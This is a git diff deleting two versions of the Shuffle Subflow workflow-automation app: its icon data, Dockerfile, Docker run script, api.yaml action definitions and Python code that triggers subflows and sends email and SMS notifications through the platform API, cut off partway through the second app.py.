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 diff --git a/shuffle-subflow/1.0.0/requirements.txt b/shuffle-subflow/1.0.0/requirements.txt deleted file mode 100644 index fd7d3e06..00000000 --- a/shuffle-subflow/1.0.0/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -requests==2.25.1 \ No newline at end of file diff --git a/shuffle-subflow/1.0.0/run b/shuffle-subflow/1.0.0/run deleted file mode 100755 index e73f748d..00000000 --- a/shuffle-subflow/1.0.0/run +++ /dev/null @@ -1,17 +0,0 @@ -#!/bin/sh -docker stop frikky/shuffle:testing_1.0.0 --force -docker rm frikky/shuffle:testing_1.0.0 --force -docker rmi frikky/shuffle:testing_1.0.0 --force - -docker build . -t frikky/shuffle:testing_1.0.0 - -echo "RUNNING!\n\n" -docker run \ - --env CALLBACK_URL="http://192.168.239.144:5001" \ - --env ACTION='{"app_name":"testing","app_version":"1.0.0","errors":[],"id_":"13fa4c3f-8991-3ade-b90d-f326fd4941dd","is_valid":true,"label":"random_number","environment":"onprem","name":"random_number","parameters":[],"position":{"x":178.07868996109607,"y":457.28345902971614},"priority":3}' \ - --env FUNCTION_APIKEY="asdasd" \ - --env EXECUTIONID="2349bf96-51ad-68d2-5ca6-75ef8f7ee814" \ - --env AUTHORIZATION="8e344a2e-db51-448f-804c-eb959a32c139" \ - frikky/shuffle:testing_1.0.0 - -docker push frikky/shuffle:testing_1.0.0 diff --git a/shuffle-subflow/1.0.0/src/app.py b/shuffle-subflow/1.0.0/src/app.py deleted file mode 100644 index 82253179..00000000 --- a/shuffle-subflow/1.0.0/src/app.py +++ /dev/null @@ -1,217 +0,0 @@ -import json -import requests - -from walkoff_app_sdk.app_base import AppBase - -class Subflow(AppBase): - """ - An example of a Walkoff App. - Inherit from the AppBase class to have Redis, logging, and console logging set up behind the scenes. - """ - __version__ = "1.0.0" - app_name = "subflow" # this needs to match "name" in api.yaml - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - # Should run user input - def run_userinput(self, user_apikey, sms="", email="", subflow="", information="", startnode="", backend_url="", source_node=""): - #url = "%s/api/v1/workflows/%s/execute" % (self.url, workflow) - - headers = { - "Authorization": "Bearer %s" % user_apikey, - "User-Agent": "Shuffle Userinput 1.1.0" - } - - result = { - "success": True, - "source": "userinput", - "reason": "Userinput data sent and workflow paused. Waiting for user input before continuing workflow.", - "information": information, - "click_info": { - "clicked": False, - "time": "", - "ip": "", - "user": "", - "note": "", - } - } - - url = self.url - if len(self.base_url) > 0: - url = self.base_url - - if len(str(backend_url)) > 0: - url = backend_url - - print("Found backend url: %s" % url) - #if len(information): - # print("Should run arg: %s", information) - - if len(subflow): - #print("Should run subflow: %s", subflow) - - # Missing startnode (user input trigger) - #print("Subflows to run from userinput: ", subflows) - - subflows = subflow.split(",") - frontend_url = url - if ":5001" in frontend_url: - print("Should change port to 3001.") - if "appspot.com" in frontend_url: - frontend_url = "https://shuffler.io" - - for item in subflows: - # In case of URL being passed, and not just ID - if "/" in item: - item = item.split("/")[-1] - - # Subflow should be the subflow to run - # Workflow in the URL should be the source workflow - argument = json.dumps({ - "information": information, - "parent_workflow": self.full_execution["workflow"]["id"], - "frontend_continue": "%s/workflows/%s/run?authorization=%s&reference_execution=%s&answer=true" % (frontend_url, self.full_execution["workflow"]["id"], self.full_execution["authorization"], self.full_execution["execution_id"]), - "frontend_abort": "%s/workflows/%s/run?authorization=%s&reference_execution=%s&answer=false" % (frontend_url, self.full_execution["workflow"]["id"], self.full_execution["authorization"], self.full_execution["execution_id"]), - "api_continue": "%s/api/v1/workflows/%s/execute?authorization=%s&reference_execution=%s&answer=true" % (frontend_url, self.full_execution["workflow"]["id"], self.full_execution["authorization"], self.full_execution["execution_id"]), - "api_abort": "%s/api/v1/workflows/%s/execute?authorization=%s&reference_execution=%s&answer=false" % (frontend_url, self.full_execution["workflow"]["id"], self.full_execution["authorization"], self.full_execution["execution_id"]), - }) - - ret = self.run_subflow(user_apikey, item, argument, source_workflow=self.full_execution["workflow"]["id"], source_execution=self.full_execution["execution_id"], source_auth=self.full_execution["authorization"], startnode=startnode, backend_url=backend_url, source_node=source_node) - result["subflow"] = ret - result["subflow_url"] = "%s/workflows/%s" % (frontend_url, item) - - if len(email): - jsondata = { - "targets": [], - "body": information, - "subject": "User input required", - "type": "User input", - "start": startnode, - "workflow_id": self.full_execution["workflow"]["id"], - "reference_execution": self.full_execution["execution_id"], - "authorization": self.full_execution["authorization"], - } - - for item in email.split(","): - jsondata["targets"].append(item.strip()) - - print("Should run email with targets: %s", jsondata["targets"]) - - ret = requests.post("%s/api/v1/functions/sendmail" % url, json=jsondata, headers=headers) - if ret.status_code != 200: - print("Failed sending email. Data: %s" % ret.text) - result["email"] = False - else: - result["email"] = True - - if len(sms) > 0: - print("Should run SMS: %s", sms) - - jsondata = { - "numbers": [], - "body": information, - "type": "User input", - "start": startnode, - "workflow_id": self.full_execution["workflow"]["id"], - "reference_execution": self.full_execution["execution_id"], - "authorization": self.full_execution["authorization"], - } - - for item in sms.split(","): - jsondata["numbers"].append(item.strip()) - - print("Should send sms with targets: %s", jsondata["numbers"]) - - ret = requests.post("%s/api/v1/functions/sendsms" % url, json=jsondata, headers=headers) - if ret.status_code != 200: - print("Failed sending email. Data: %s" % ret.text) - result["sms"] = False - else: - result["sms"] = True - - - - return json.dumps(result) - - def run_subflow(self, user_apikey, workflow, argument, source_workflow="", source_execution="", source_node="", source_auth="", startnode="", backend_url=""): - #print("STARTNODE: %s" % startnode) - url = "%s/api/v1/workflows/%s/execute" % (self.url, workflow) - if len(self.base_url) > 0: - url = "%s/api/v1/workflows/%s/execute" % (self.base_url, workflow) - - params = {} - if len(str(source_workflow)) > 0: - params["source_workflow"] = source_workflow - else: - print("No source workflow") - - if len(str(source_auth)) > 0: - params["source_auth"] = source_auth - else: - print("No source auth") - - if len(str(source_node)) > 0: - params["source_node"] = source_node - else: - print("No source node") - - if len(str(source_execution)) > 0: - params["source_execution"] = source_execution - else: - print("No source execution") - - if len(str(startnode)) > 0: - params["start"] = startnode - else: - print("No startnode") - - if len(self.full_execution["execution_id"]) > 0 and self.full_execution["execution_id"] != source_execution: - params["source_execution"] = self.full_execution["execution_id"] - - if len(self.full_execution["authorization"]) > 0 and self.full_execution["authorization"] != source_auth: - params["source_auth"] = self.full_execution["authorization"] - - if len(str(backend_url)) > 0: - url = "%s/api/v1/workflows/%s/execute" % (backend_url, workflow) - print("[INFO] Changed URL to %s for this execution" % url) - - headers = { - "Authorization": "Bearer %s" % user_apikey, - "User-Agent": "Shuffle Subflow 1.0.0" - } - - if len(str(argument)) == 0: - ret = requests.post(url, headers=headers, params=params) - else: - if not isinstance(argument, list) and not isinstance(argument, dict): - try: - argument = json.loads(argument) - except: - pass - - #print(f"ARG: {argument}") - try: - ret = requests.post(url, headers=headers, params=params, json=argument) - print(f"Successfully sent argument of length {len(str(argument))} as JSON") - except: - try: - ret = requests.post(url, headers=headers, json=argument, params=params) - print("Successfully sent as JSON (2)") - except: - ret = requests.post(url, headers=headers, data=argument, params=params) - print("Successfully sent as data (3)") - - print("Status: %d" % ret.status_code) - print("RET: %s" % ret.text) - - return ret.text - -if __name__ == "__main__": - Subflow.run() diff --git a/shuffle-subflow/1.1.0/Dockerfile b/shuffle-subflow/1.1.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/shuffle-subflow/1.1.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/shuffle-subflow/1.1.0/api.yaml b/shuffle-subflow/1.1.0/api.yaml deleted file mode 100644 index 0c64bda1..00000000 --- a/shuffle-subflow/1.1.0/api.yaml +++ /dev/null @@ -1,102 +0,0 @@ -app_version: 1.1.0 -name: Shuffle Subflow -description: The Shuffle Subflow app -tags: - - Trigger -categories: - - Trigger -contact_info: - name: "@frikkylikeme" - url: https://shuffler.io - email: frikky@shuffler.io -actions: - - name: run_subflow - description: Executes a subflow - parameters: - - name: user_apikey - description: The apikey to use - required: true - multiline: false - example: "REPEATING: Hello world" - schema: - type: string - - name: workflow - description: The Workflow to execute - required: true - multiline: false - example: "REPEATING: Hello world" - schema: - type: string - - name: execution_argument - description: The execution_argument - required: true - multiline: true - example: "REPEATING: Hello world" - schema: - type: string - - name: startnode - description: - required: false - multiline: false - example: "" - schema: - type: string - - name: source_workflow - description: - required: false - multiline: false - example: "" - schema: - type: string - - name: source_execution - description: - required: false - multiline: false - example: "" - schema: - type: string - returns: - schema: - type: string - - name: run_userinput - description: Stops a workflow and notifies the right people - parameters: - - name: user_apikey - description: The apikey to connect back to the APIs - required: true - multiline: false - example: "apikey" - schema: - type: string - - name: sms - description: The numbers to send an sms to - required: false - multiline: false - example: "+474135212,+180241322" - schema: - type: string - - name: email - description: The emails to send an email to - required: false - multiline: false - example: "example@shuffler.io,test@test.com" - schema: - type: string - - name: subflow - description: The subflow IDs to start - required: false - multiline: false - example: "7944b41d-6200-4f28-8973-22ba52637bf0,4832b41d-6200-4f28-8973-22ba52637bf0" - schema: - type: string - - name: information - description: The information to send to the targets - required: false - multiline: true - example: "This is an argument using some liquid: {{ 1 + 2 }} " - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,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 diff --git a/shuffle-subflow/1.1.0/requirements.txt b/shuffle-subflow/1.1.0/requirements.txt deleted file mode 100644 index fd7d3e06..00000000 --- a/shuffle-subflow/1.1.0/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -requests==2.25.1 \ No newline at end of file diff --git a/shuffle-subflow/1.1.0/run b/shuffle-subflow/1.1.0/run deleted file mode 100755 index e73f748d..00000000 --- a/shuffle-subflow/1.1.0/run +++ /dev/null @@ -1,17 +0,0 @@ -#!/bin/sh -docker stop frikky/shuffle:testing_1.0.0 --force -docker rm frikky/shuffle:testing_1.0.0 --force -docker rmi frikky/shuffle:testing_1.0.0 --force - -docker build . -t frikky/shuffle:testing_1.0.0 - -echo "RUNNING!\n\n" -docker run \ - --env CALLBACK_URL="http://192.168.239.144:5001" \ - --env ACTION='{"app_name":"testing","app_version":"1.0.0","errors":[],"id_":"13fa4c3f-8991-3ade-b90d-f326fd4941dd","is_valid":true,"label":"random_number","environment":"onprem","name":"random_number","parameters":[],"position":{"x":178.07868996109607,"y":457.28345902971614},"priority":3}' \ - --env FUNCTION_APIKEY="asdasd" \ - --env EXECUTIONID="2349bf96-51ad-68d2-5ca6-75ef8f7ee814" \ - --env AUTHORIZATION="8e344a2e-db51-448f-804c-eb959a32c139" \ - frikky/shuffle:testing_1.0.0 - -docker push frikky/shuffle:testing_1.0.0 diff --git a/shuffle-subflow/1.1.0/src/app.py b/shuffle-subflow/1.1.0/src/app.py deleted file mode 100644 index 5c4b4d8a..00000000 --- a/shuffle-subflow/1.1.0/src/app.py +++ /dev/null @@ -1,220 +0,0 @@ -import json -import requests - -from walkoff_app_sdk.app_base import AppBase - -class Subflow(AppBase): - """ - An example of a Walkoff App. - Inherit from the AppBase class to have Redis, logging, and console logging set up behind the scenes. - """ - __version__ = "1.1.0" - app_name = "subflow" # this needs to match "name" in api.yaml - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - # Should run user input - def run_userinput(self, user_apikey, sms="", email="", subflow="", information="", startnode="", backend_url="", source_node=""): - #url = "%s/api/v1/workflows/%s/execute" % (self.url, workflow) - - headers = { - "Authorization": "Bearer %s" % user_apikey, - "User-Agent": "Shuffle Userinput 1.1.0" - } - - result = { - "success": True, - "source": "userinput", - "reason": "Userinput data sent and workflow paused. Waiting for user input before continuing workflow.", - "information": information, - "click_info": { - "clicked": False, - "time": "", - "ip": "", - "user": "", - "note": "", - } - } - - url = self.url - if len(self.base_url) > 0: - url = self.base_url - - if len(str(backend_url)) > 0: - url = backend_url - - print("Found backend url: %s" % url) - #print("AUTH: %s" % self.full_execution["authorization"]) - #if len(information): - # print("Should run arg: %s", information) - - if len(subflow) > 0: - #print("Should run subflow: %s", subflow) - - # Missing startnode (user input trigger) - #print("Subflows to run from userinput: ", subflows) - - subflows = subflow.split(",") - frontend_url = url - if ":5001" in frontend_url: - print("Should change port to 3001.") - if "appspot.com" in frontend_url: - frontend_url = "https://shuffler.io" - if "run.app" in frontend_url: - frontend_url = "https://shuffler.io" - - for item in subflows: - # In case of URL being passed, and not just ID - if "/" in item: - item = item.split("/")[-1] - - # Subflow should be the subflow to run - # Workflow in the URL should be the source workflow - argument = json.dumps({ - "information": information, - "parent_workflow": self.full_execution["workflow"]["id"], - "frontend_continue": "%s/workflows/%s/run?authorization=%s&reference_execution=%s&answer=true&source_node=%s" % (frontend_url, self.full_execution["workflow"]["id"], self.full_execution["authorization"], self.full_execution["execution_id"], source_node), - "frontend_abort": "%s/workflows/%s/run?authorization=%s&reference_execution=%s&answer=false&source_node=%s" % (frontend_url, self.full_execution["workflow"]["id"], self.full_execution["authorization"], self.full_execution["execution_id"], source_node), - "api_continue": "%s/api/v1/workflows/%s/execute?authorization=%s&reference_execution=%s&answer=true&source_node=%s" % (frontend_url, self.full_execution["workflow"]["id"], self.full_execution["authorization"], self.full_execution["execution_id"], source_node), - "api_abort": "%s/api/v1/workflows/%s/execute?authorization=%s&reference_execution=%s&answer=false&source_node=%s" % (frontend_url, self.full_execution["workflow"]["id"], self.full_execution["authorization"], self.full_execution["execution_id"], source_node), - }) - - ret = self.run_subflow(user_apikey, item, argument, source_workflow=self.full_execution["workflow"]["id"], source_execution=self.full_execution["execution_id"], source_auth=self.full_execution["authorization"], startnode=startnode, backend_url=backend_url, source_node=source_node) - result["subflow"] = ret - result["subflow_url"] = "%s/workflows/%s" % (frontend_url, item) - - if len(email): - jsondata = { - "targets": [], - "body": information, - "subject": "User input required", - "type": "User input", - "start": startnode, - "workflow_id": self.full_execution["workflow"]["id"], - "reference_execution": self.full_execution["execution_id"], - "authorization": self.full_execution["authorization"], - } - - for item in email.split(","): - jsondata["targets"].append(item.strip()) - - print("Should run email with targets: %s", jsondata["targets"]) - - ret = requests.post("%s/api/v1/functions/sendmail" % url, json=jsondata, headers=headers, verify=False, proxies=self.proxy_config) - if ret.status_code != 200: - print("Failed sending email. Data: %s" % ret.text) - result["email"] = False - else: - result["email"] = True - - if len(sms) > 0: - print("Should run SMS: %s", sms) - - jsondata = { - "numbers": [], - "body": information, - "type": "User input", - "start": startnode, - "workflow_id": self.full_execution["workflow"]["id"], - "reference_execution": self.full_execution["execution_id"], - "authorization": self.full_execution["authorization"], - } - - for item in sms.split(","): - jsondata["numbers"].append(item.strip()) - - print("Should send sms with targets: %s", jsondata["numbers"]) - - ret = requests.post("%s/api/v1/functions/sendsms" % url, json=jsondata, headers=headers, verify=False, proxies=self.proxy_config) - if ret.status_code != 200: - print("Failed sending email. Data: %s" % ret.text) - result["sms"] = False - else: - result["sms"] = True - - - - return json.dumps(result) - - def run_subflow(self, user_apikey, workflow, argument, source_workflow="", source_execution="", source_node="", source_auth="", startnode="", backend_url="", check_result=""): - #print("STARTNODE: %s" % startnode) - url = "%s/api/v1/workflows/%s/execute" % (self.url, workflow) - if len(self.base_url) > 0: - url = "%s/api/v1/workflows/%s/execute" % (self.base_url, workflow) - - params = {} - if len(str(source_workflow)) > 0: - params["source_workflow"] = source_workflow - else: - print("No source workflow") - - if 